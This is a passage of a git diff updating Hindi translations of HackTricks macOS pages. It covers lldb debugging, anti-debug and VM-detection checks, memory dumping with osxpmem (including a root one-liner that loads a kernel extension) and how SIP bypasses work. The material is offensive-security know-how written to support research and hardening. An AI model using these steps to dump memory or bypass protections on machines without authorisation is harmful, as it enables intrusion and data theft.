b set -n main --shlib <lib_name> #निर्दिष्ट बिन का मुख्य फ़ंक्शन

breakpoint set -r '\[NSFileManager .*\]$' #कोई भी NSFileManager विधि

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # उस पुस्तकालय के सभी फ़ंक्शनों में ब्रेक

b -a 0x0000000100004bd9

br l #ब्रेकपॉइंट सूची

br e/dis <num> #ब्रेकपॉइंट सक्षम/अक्षम करें

breakpoint delete <num>

help

help breakpoint #ब्रेकपॉइंट कमांड की मदद प्राप्त करें

help memory write #मेमोरी में लिखने के लिए मदद प्राप्त करें

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>मेमोरी को एक शून्य-टर्मिनेटेड स्ट्रिंग के रूप में प्रदर्शित करें।
x/i <reg/memory address>मेमोरी को असेंबली निर्देश के रूप में प्रदर्शित करें।
x/b <reg/memory address>मेमोरी को बाइट के रूप में प्रदर्शित करें।
print object (po)

यह उस ऑब्जेक्ट को प्रिंट करेगा जिसका संदर्भ पैरामीटर द्वारा दिया गया है

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

ध्यान दें कि Apple के अधिकांश Objective-C APIs या विधियाँ ऑब्जेक्ट लौटाती हैं, और इसलिए उन्हें “print object” (po) कमांड के माध्यम से प्रदर्शित किया जाना चाहिए। यदि po अर्थपूर्ण आउटपुट नहीं देता है तो x/b का उपयोग करें

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #उस पते में AAAA लिखें
memory write -f s $rip+0x11f+7 "AAAA" #पते में AAAA लिखें
disassembly

dis #वर्तमान फ़ंक्शन का डिसासेम्बल करें

dis -n <funcname> #फ़ंक्शन का डिसासेम्बल करें

dis -n <funcname> -b <basename> #फ़ंक्शन का डिसासेम्बल करें
dis -c 6 #6 पंक्तियों का डिसासेम्बल करें
dis -c 0x100003764 -e 0x100003768 #एक जोड़ से दूसरे तक
dis -p -c 4 #वर्तमान पते से डिसासेम्बल करना शुरू करें

parrayparray 3 (char **)$x1 #x1 रजिस्टर में 3 घटकों का ऐरे जांचें
image dump sectionsवर्तमान प्रक्रिया की मेमोरी का मानचित्र प्रिंट करें
image dump symtab <library>image dump symtab CoreNLP #CoreNLP से सभी प्रतीकों के पते प्राप्त करें
{% hint style="info" %} जब **`objc_sendMsg`** फ़ंक्शन को कॉल किया जाता है, तो **rsi** रजिस्टर **विधि का नाम** एक शून्य-टर्मिनेटेड (“C”) स्ट्रिंग के रूप में रखता है। lldb के माध्यम से नाम प्रिंट करने के लिए करें: @@ -491,12 +478,12 @@ lldb के अंदर, `process save-core` के साथ एक प्र #### VM पहचान -* कमांड **`sysctl hw.model`** "Mac" लौटाता है जब **होस्ट MacOS है** लेकिन जब यह एक VM है तो कुछ अलग लौटाता है। +* कमांड **`sysctl hw.model`** "Mac" लौटाता है जब **होस्ट MacOS है** लेकिन जब यह एक VM है तो कुछ अलग। * **`hw.logicalcpu`** और **`hw.physicalcpu`** के मानों के साथ खेलते हुए कुछ मैलवेयर यह पहचानने की कोशिश करते हैं कि क्या यह एक VM है। -* कुछ मैलवेयर **VMware** पर आधारित मशीन का **पता भी लगा सकते हैं** MAC पते (00:50:56) के आधार पर। -* यह भी संभव है **यदि एक प्रक्रिया को डीबग किया जा रहा है** यह जानने के लिए एक साधारण कोड के साथ जैसे: +* कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं, MAC पते (00:50:56) के आधार पर। +* यह भी संभव है **यदि एक प्रक्रिया को डीबग किया जा रहा है** यह जानने के लिए एक साधारण कोड के साथ: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //प्रक्रिया को डीबग किया जा रहा है }` -* यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **डीबगर** को अटैच और ट्रेस करने से **रोकता** है। +* यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **एक डीबगर को अटैच और ट्रेस करने से रोकता है।** * आप जांच सकते हैं कि **`sysctl`** या **`ptrace`** फ़ंक्शन को **आयात** किया जा रहा है (लेकिन मैलवेयर इसे गतिशील रूप से आयात कर सकता है) * जैसा कि इस लेख में नोट किया गया है, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_संदेश प्रक्रिया # समाप्त हो गई **स्थिति = 45 (0x0000002d)** आमतौर पर यह एक संकेत है कि डिबग लक्ष्य **PT\_DENY\_ATTACH** का उपयोग कर रहा है_” @@ -515,11 +502,11 @@ lldb के अंदर, `process save-core` के साथ एक प्र ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -ReportCrash **क्रैश होने वाली प्रक्रियाओं का विश्लेषण करता है और डिस्क पर एक क्रैश रिपोर्ट सहेजता है**। एक क्रैश रिपोर्ट में जानकारी होती है जो **डेवलपर को** क्रैश के कारण का निदान करने में **मदद कर सकती है**।\ -प्रयोगों और अन्य प्रक्रियाओं के लिए **जो प्रति-उपयोगकर्ता launchd संदर्भ में चल रही हैं**, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\ -डेमन्स, अन्य प्रक्रियाएँ **जो सिस्टम launchd संदर्भ में चल रही हैं** और अन्य विशेषाधिकार प्राप्त प्रक्रियाएँ, ReportCrash एक LaunchDaemon के रूप में चलाता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है। +ReportCrash **क्रैश होने वाली प्रक्रियाओं का विश्लेषण करता है और डिस्क पर एक क्रैश रिपोर्ट सहेजता है**। एक क्रैश रिपोर्ट में जानकारी होती है जो **डेवलपर को क्रैश के कारण का निदान करने में मदद कर सकती है।**\ +उपयोगकर्ता के लॉन्चड संदर्भ में **चलने वाली अनुप्रयोगों और अन्य प्रक्रियाओं** के लिए, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\ +डेमन्स, सिस्टम लॉन्चड संदर्भ में **चलने वाली अन्य प्रक्रियाएँ** और अन्य विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, ReportCrash एक LaunchDaemon के रूप में चलता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है। -यदि आप क्रैश रिपोर्ट के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं** तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्ट **यह पता लगाने में उपयोगी हो सकती हैं कि एक सर्वर कैसे क्रैश हुआ**। +यदि आप क्रैश रिपोर्ट के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं** तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्ट **यह पता लगाने में सहायक हो सकती हैं कि सर्वर कैसे क्रैश हुआ।** ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -629,18 +616,6 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**Mac Malware की कला: दुर्भावनापूर्ण सॉफ़्टवेयर का विश्लेषण करने के लिए गाइड**](https://taomm.org/) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मैलवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जाकर **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -650,8 +625,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index 3312318ce..afbd1d316 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -1,57 +1,44 @@ -# macOS मेमोरी डंपिंग +# macOS Memory Dumping {% hint style="success" %} -AWS हैकिंग सीखें और प्रैक्टिस करें:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और प्रैक्टिस करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** को** **फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) **और** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github रेपो में PR जमा करके।** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+## Memory Artifacts -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि यह जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **कंप्रोमाइज** किया गया है या नहीं। +### Swap Files -व्हाइटइंटेल का मुख्य उद्देश्य खाता हथियाने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं। +स्वैप फ़ाइलें, जैसे कि `/private/var/vm/swapfile0`, **भौतिक मेमोरी भर जाने पर कैश के रूप में कार्य करती हैं**। जब भौतिक मेमोरी में और जगह नहीं होती है, तो इसका डेटा एक स्वैप फ़ाइल में स्थानांतरित किया जाता है और फिर आवश्यकतानुसार भौतिक मेमोरी में वापस लाया जाता है। कई स्वैप फ़ाइलें हो सकती हैं, जिनके नाम जैसे swapfile0, swapfile1, आदि हो सकते हैं। -आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन प्रयास कर सकते हैं: +### Hibernate Image -{% embed url="https://whiteintel.io" %} +फ़ाइल जो `/private/var/vm/sleepimage` पर स्थित है, **हाइबरनेशन मोड** के दौरान महत्वपूर्ण है। **जब OS X हाइबरनेट करता है, तो मेमोरी से डेटा इस फ़ाइल में संग्रहीत किया जाता है**। कंप्यूटर को जगाने पर, सिस्टम इस फ़ाइल से मेमोरी डेटा पुनः प्राप्त करता है, जिससे उपयोगकर्ता वहीं से जारी रख सकता है जहाँ उसने छोड़ा था। -*** +यह ध्यान देने योग्य है कि आधुनिक MacOS सिस्टम पर, यह फ़ाइल आमतौर पर सुरक्षा कारणों से एन्क्रिप्टेड होती है, जिससे पुनर्प्राप्ति कठिन हो जाती है। -## मेमोरी आर्टिफैक्ट्स +* यह जांचने के लिए कि क्या sleepimage के लिए एन्क्रिप्शन सक्षम है, कमांड `sysctl vm.swapusage` चलाया जा सकता है। यह दिखाएगा कि क्या फ़ाइल एन्क्रिप्टेड है। -### स्वैप फ़ाइलें +### Memory Pressure Logs -स्वैप फ़ाइलें, जैसे `/private/var/vm/swapfile0`, **जब फिजिकल मेमोरी भर जाती है तो कैश के रूप में काम करती हैं**। जब फिजिकल मेमोरी में और जगह नहीं होती, तो उसका डेटा एक स्वैप फ़ाइल में स्थानांतरित किया जाता है और फिर जैसे ही आवश्यक होता है, यह डेटा फिजिकल मेमोरी में वापस लाया जाता है। एक से अधिक स्वैप फ़ाइलें मौजूद हो सकती हैं, जिनके नाम होते हैं swapfile0, swapfile1, और इसी तरह। +MacOS सिस्टम में एक और महत्वपूर्ण मेमोरी-संबंधित फ़ाइल **मेमोरी प्रेशर लॉग** है। ये लॉग `/var/log` में स्थित होते हैं और सिस्टम की मेमोरी उपयोग और प्रेशर घटनाओं के बारे में विस्तृत जानकारी प्रदान करते हैं। ये मेमोरी-संबंधित समस्याओं का निदान करने या यह समझने के लिए विशेष रूप से उपयोगी हो सकते हैं कि सिस्टम समय के साथ मेमोरी का प्रबंधन कैसे करता है। -### हाइबर्नेट इमेज +## Dumping memory with osxpmem -`/private/var/vm/sleepimage` पर स्थित फ़ाइल हाइबर्नेशन मोड के दौरान महत्वपूर्ण है। **जब OS X हाइबर्नेट होता है तो मेमोरी से डेटा इस फ़ाइल में स्टोर किया जाता है**। कंप्यूटर को जागने पर, सिस्टम इस फ़ाइल से मेमोरी डेटा पुनः प्राप्त करता है, जिससे उपयोगकर्ता जहाँ से छोड़े थे वहाँ से जारी रख सकता है। +MacOS मशीन में मेमोरी को डंप करने के लिए आप [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) का उपयोग कर सकते हैं। -यह ध्यान देने योग्य है कि आधुनिक MacOS सिस्टमों पर, सुरक्षा कारणों से यह फ़ाइल आम तौर पर एन्क्रिप्टेड होती है, जिससे पुनर्प्राप्ति कठिन होती है। - -* यदि स्लीपइमेज के लिए एन्क्रिप्शन सक्षम है या नहीं यह जांचने के लिए, कमांड `sysctl vm.swapusage` चलाई जा सकती है। यह दिखाएगी कि क्या फ़ाइल एन्क्रिप्टेड है या नहीं। - -### मेमोरी दबाव लॉग - -MacOS सिस्टम में एक और महत्वपूर्ण मेमोरी संबंधित फ़ाइल है **मेमोरी दबाव लॉग**। ये लॉग `/var/log` में स्थित होते हैं और सिस्टम के मेमोरी उपयोग और दबाव घटनाओं के बारे में विस्तृत जानकारी शामिल करते हैं। ये मेमोरी संबंधित मुद्दों का निदान करने या समय के साथ सिस्टम कैसे मेमोरी प्रबंधित करता है को समझने के लिए विशेष रूप से उपयोगी हो सकते हैं। - -## osxpmem के साथ मेमोरी डंपिंग - -MacOS मशीन में मेमोरी डंप करने के लिए आप [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) का उपयोग कर सकते हैं। - -**नोट**: निम्नलिखित निर्देश केवल इंटेल आर्किटेक्चर वाले Macs के लिए काम करेंगे। यह टूल अब संग्रहीत है और अंतिम रिलीज 2017 में हुआ था। नीचे दिए गए निर्देशों का उपयोग करके डाउनलोड किया गया बाइनरी इंटेल चिप्स को लक्षित करता है क्योंकि 2017 में Apple Silicon मौजूद नहीं था। यह संभव है कि arm64 आर्किटेक्चर के लिए बाइनरी कंपाइल करना संभव हो, लेकिन आपको खुद कोशिश करनी पड़ेगी। +**Note**: निम्नलिखित निर्देश केवल Intel आर्किटेक्चर वाले Macs के लिए काम करेंगे। यह उपकरण अब आर्काइव किया गया है और अंतिम रिलीज 2017 में थी। नीचे दिए गए निर्देशों का उपयोग करके डाउनलोड की गई बाइनरी Intel चिप्स को लक्षित करती है क्योंकि 2017 में Apple Silicon नहीं था। यह arm64 आर्किटेक्चर के लिए बाइनरी को संकलित करना संभव हो सकता है लेकिन आपको स्वयं प्रयास करना होगा। ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem @@ -59,45 +46,36 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem #Dump aff4 format sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 ``` -यदि आपको यह त्रुटि मिलती है: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` तो आप इसे निम्नलिखित करके ठीक कर सकते हैं: +यदि आप यह त्रुटि पाते हैं: `osxpmem.app/MacPmem.kext लोड करने में विफल - (libkern/kext) प्रमाणीकरण विफलता (फाइल स्वामित्व/अनुमतियाँ); त्रुटियों के लिए सिस्टम/कर्नेल लॉग की जांच करें या kextutil(8) का प्रयास करें` आप इसे ठीक कर सकते हैं: ```bash sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo kextutil "/tmp/MacPmem.kext" #Allow the kext in "Security & Privacy --> General" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -**अन्य त्रुटियाँ** को "सुरक्षा और गोपनीयता --> सामान्य" में **kext को लोड करने की अनुमति देने** से ठीक किया जा सकता है, बस **अनुमति** दें। +**अन्य त्रुटियाँ** को **kext के लोड की अनुमति देकर** ठीक किया जा सकता है "Security & Privacy --> General" में, बस **अनुमति दें**। -आप इस **वनलाइनर** का उपयोग करके एप्लिकेशन डाउनलोड कर सकते हैं, kext लोड कर सकते हैं और मेमोरी डंप कर सकते हैं: +आप इस **oneliner** का उपयोग करके एप्लिकेशन डाउनलोड कर सकते हैं, kext लोड कर सकते हैं और मेमोरी डंप कर सकते हैं: + +{% code overflow="wrap" %} ```bash sudo su cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` {% endcode %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **क्षति** पहुंचाई गई है या नहीं। - -WhiteIntel का मुख्य उद्देश्य खाता हस्तांतरण और जानकारी चुराने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है। - -आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन ट्राय कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +HackTricks का समर्थन करें -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) जांचें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index 5fd3ea393..52d85a116 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -15,23 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन को आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## **Basic Information** -**सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP)** macOS में एक तंत्र है जिसे प्रमुख सिस्टम फ़ोल्डरों में अनधिकृत परिवर्तनों को रोकने के लिए डिज़ाइन किया गया है, यहां तक कि सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं से भी। यह सुविधा सिस्टम की अखंडता बनाए रखने में महत्वपूर्ण भूमिका निभाती है, जैसे कि संरक्षित क्षेत्रों में फ़ाइलों को जोड़ना, संशोधित करना या हटाना। SIP द्वारा संरक्षित प्रमुख फ़ोल्डर में शामिल हैं: +**System Integrity Protection (SIP)** macOS में एक तंत्र है जो सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं को भी प्रमुख सिस्टम फ़ोल्डरों में अनधिकृत परिवर्तनों से रोकने के लिए डिज़ाइन किया गया है। यह सुविधा सिस्टम की अखंडता बनाए रखने में महत्वपूर्ण भूमिका निभाती है, जैसे कि संरक्षित क्षेत्रों में फ़ाइलों को जोड़ना, संशोधित करना या हटाना। SIP द्वारा संरक्षित प्रमुख फ़ोल्डर में शामिल हैं: * **/System** * **/bin** @@ -93,8 +80,8 @@ csrutil enable --without debug ### अन्य प्रतिबंध * **असत्यापित कर्नेल एक्सटेंशन** (kexts) को लोड करने की अनुमति नहीं देता, यह सुनिश्चित करता है कि केवल सत्यापित एक्सटेंशन सिस्टम कर्नेल के साथ इंटरैक्ट करें। -* **macOS सिस्टम प्रक्रियाओं** का डिबगिंग रोकता है, जिससे कोर सिस्टम घटकों को अनधिकृत पहुंच और संशोधन से सुरक्षित रखा जाता है। -* **dtrace जैसे उपकरणों** को सिस्टम प्रक्रियाओं का निरीक्षण करने से रोकता है, जिससे सिस्टम के संचालन की अखंडता को और अधिक सुरक्षित किया जाता है। +* **macOS सिस्टम प्रक्रियाओं** का डिबगिंग रोकता है, अनधिकृत पहुंच और संशोधन से कोर सिस्टम घटकों की सुरक्षा करता है। +* **dtrace जैसे उपकरणों** को सिस्टम प्रक्रियाओं का निरीक्षण करने से रोकता है, सिस्टम के संचालन की अखंडता की और सुरक्षा करता है। [**इस वार्ता में SIP जानकारी के बारे में अधिक जानें**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**।** @@ -104,7 +91,7 @@ SIP को बायपास करने से एक हमलावर क * **उपयोगकर्ता डेटा तक पहुंच**: सभी उपयोगकर्ता खातों से संवेदनशील उपयोगकर्ता डेटा जैसे मेल, संदेश और सफारी इतिहास पढ़ें। * **TCC बायपास**: TCC (Transparency, Consent, and Control) डेटाबेस को सीधे संशोधित करें ताकि वेबकैम, माइक्रोफोन और अन्य संसाधनों तक अनधिकृत पहुंच प्रदान की जा सके। -* **स्थायीता स्थापित करें**: SIP-सुरक्षित स्थानों में मैलवेयर रखें, जिससे इसे हटाने के लिए प्रतिरोधी बनाया जा सके, यहां तक कि रूट विशेषाधिकारों द्वारा भी। इसमें मैलवेयर हटाने के उपकरण (MRT) के साथ छेड़छाड़ करने की संभावना भी शामिल है। +* **स्थायीता स्थापित करें**: SIP-सुरक्षित स्थानों में मैलवेयर रखें, इसे हटाने के लिए प्रतिरोधी बनाते हुए, यहां तक कि रूट विशेषाधिकारों द्वारा भी। इसमें मैलवेयर हटाने के उपकरण (MRT) के साथ छेड़छाड़ करने की संभावना भी शामिल है। * **कर्नेल एक्सटेंशन लोड करें**: हालांकि अतिरिक्त सुरक्षा उपाय हैं, SIP को बायपास करना असत्यापित कर्नेल एक्सटेंशन लोड करने की प्रक्रिया को सरल बनाता है। ### इंस्टॉलर पैकेज @@ -113,7 +100,7 @@ SIP को बायपास करने से एक हमलावर क ### अस्तित्वहीन SIP फ़ाइल -एक संभावित छिद्र यह है कि यदि **`rootless.conf` में एक फ़ाइल निर्दिष्ट की गई है लेकिन वर्तमान में मौजूद नहीं है**, तो इसे बनाया जा सकता है। मैलवेयर इसका लाभ उठाकर **सिस्टम पर स्थायीता स्थापित** कर सकता है। उदाहरण के लिए, एक दुर्भावनापूर्ण प्रोग्राम `/System/Library/LaunchDaemons` में एक .plist फ़ाइल बना सकता है यदि यह `rootless.conf` में सूचीबद्ध है लेकिन मौजूद नहीं है। +एक संभावित छिद्र यह है कि यदि एक फ़ाइल **`rootless.conf` में निर्दिष्ट है लेकिन वर्तमान में मौजूद नहीं है**, तो इसे बनाया जा सकता है। मैलवेयर इसका लाभ उठाकर **सिस्टम पर स्थायीता स्थापित** कर सकता है। उदाहरण के लिए, एक दुर्भावनापूर्ण प्रोग्राम `/System/Library/LaunchDaemons` में एक .plist फ़ाइल बना सकता है यदि यह `rootless.conf` में सूचीबद्ध है लेकिन मौजूद नहीं है। ### com.apple.rootless.install.heritable @@ -123,7 +110,7 @@ SIP को बायपास करने से एक हमलावर क #### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) -यह पाया गया कि **सिस्टम द्वारा इसके कोड** हस्ताक्षर की पुष्टि करने के बाद इंस्टॉलर पैकेज को **स्वैप करना संभव था** और फिर, सिस्टम मूल के बजाय दुर्भावनापूर्ण पैकेज स्थापित करेगा। चूंकि ये क्रियाएँ **`system_installd`** द्वारा की गई थीं, यह SIP को बायपास करने की अनुमति देगा। +यह पता चला कि **सिस्टम द्वारा इसके कोड** हस्ताक्षर की पुष्टि करने के बाद इंस्टॉलर पैकेज को **स्वैप करना संभव था** और फिर, सिस्टम मूल पैकेज के बजाय दुर्भावनापूर्ण पैकेज स्थापित करेगा। चूंकि ये क्रियाएँ **`system_installd`** द्वारा की गई थीं, यह SIP को बायपास करने की अनुमति देगा। #### [CVE-2020–9854](https://objective-see.org/blog/blog\_0x4D.html) @@ -135,13 +122,13 @@ SIP को बायपास करने से एक हमलावर क **`system_installd`** डेमन उन पैकेजों को स्थापित करेगा जो **Apple** द्वारा हस्ताक्षरित हैं। -शोधकर्ताओं ने पाया कि Apple द्वारा हस्ताक्षरित पैकेज (.pkg फ़ाइल) की स्थापना के दौरान, **`system_installd`** पैकेज में शामिल किसी भी **पोस्ट-इंस्टॉल** स्क्रिप्ट को **चलाता है**। ये स्क्रिप्ट डिफ़ॉल्ट शेल, **`zsh`** द्वारा निष्पादित की जाती हैं, जो स्वचालित रूप से 